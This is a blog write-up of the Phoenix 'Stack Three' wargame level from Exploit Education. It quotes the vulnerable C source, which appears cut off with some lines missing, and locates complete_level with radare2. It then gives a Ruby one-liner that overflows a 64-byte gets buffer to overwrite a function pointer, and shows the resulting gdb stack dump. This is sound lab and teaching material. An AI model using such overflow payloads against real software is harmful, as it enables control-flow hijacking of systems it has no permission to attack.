(Write-up) Phoenix :: Stack Three

aibhstin profile image Aibhstin ・2 min read

The source code for this challenge is given as the following:

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
  printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int (*fp)();
  } locals;

  printf("%s\n", BANNER);

  locals.fp = NULL;

  if (locals.fp) {
    printf("calling function pointer @ %p\n", locals.fp);
  } else {
    printf("function pointer remains unmodified :~( better luck next time!\n");


We need to execute a buffer overflow to get the address of a function into a place in memory where it can be called. First, we need to determine the memory location of the complete_level function. I'll use radare2:

user@phoenix-amd64:/opt/phoenix/amd64$ r2 stack-three
[0x00400530]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[aav: using from to 0x400000 0x401948
Using vmin 0x400000 and vmax 0x600b90
aav: using from to 0x400000 0x401948
Using vmin 0x400000 and vmax 0x600b90
[x] Analyze value pointers (aav)
[can't find function prototype for entry0ionsd sym.func.* functions (aan)
can't find function prototype for sym.deregister_tm_clones
can't find function prototype for sym.frame_dummy
can't find function prototype for sym.__do_global_ctors_aux
can't find function prototype for sym.__do_global_dtors_aux
Deinitialized mem.0x100000_0xf0000
[x] Type matching analysis for all functions
[x] Type matching analysis for all functions
[0x00400530]> afl
0x00400000    3 73   -> 75   sym.imp..so
0x004004b0    1 13           sym._init
0x004004d0    2 16   -> 32   sym.imp.printf
0x004004e0    2 16   -> 48   sym.imp.gets
0x004004f0    2 16   -> 48   sym.imp.puts
0x00400500    2 16   -> 48   sym.imp.fflush
0x00400510    2 16   -> 48   sym.imp.exit
0x00400520    2 16   -> 48   sym.imp.__libc_start_main
0x00400530    1 57           entry0
0x00400570    3 35           sym.deregister_tm_clones
0x004005a0    3 53           sym.register_tm_clones
0x004005e0    8 130          sym.__do_global_dtors_aux
0x00400670    3 45   -> 40   sym.frame_dummy
0x0040069d    1 24           sym.complete_level
0x004006b5    4 124          sym.main
0x00400740    5 66   -> 56   sym.__do_global_ctors_aux
0x00400782    1 8            sym._fini

We see that sym.complete_level is at 0x0040069d. We can use this to execute a stack overflow attack similar to what we have done before:

user@phoenix-amd64:/opt/phoenix/amd64$ ruby -e 'puts "A" * 64 + ["9d0640"].pack("H*")' | ./stack-three 
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!

This is the state of the stack once input has been taken:

(gdb) x/40xw $rsp
0x7fffffffe590: 0xffffe648      0x00007fff      0x00000000      0x00000001
0x7fffffffe5a0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe5b0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe5c0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe5d0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe5e0: 0x0040069d      0x00000000      0x00000000      0x00000000
0x7fffffffe5f0: 0x00000001      0x00000000      0xf7d8fd62      0x00007fff
0x7fffffffe600: 0x00000000      0x00000000      0xffffe640      0x00007fff
0x7fffffffe610: 0x00000000      0x00000000      0xf7ffdbc8      0x00007fff
0x7fffffffe620: 0x00003e00      0x04000001      0x00400569      0x00000000

Posted on by:

aibhstin profile



I'm an Ethical Hacking & Cybersecurity student and a Haskell programmer.


markdown guide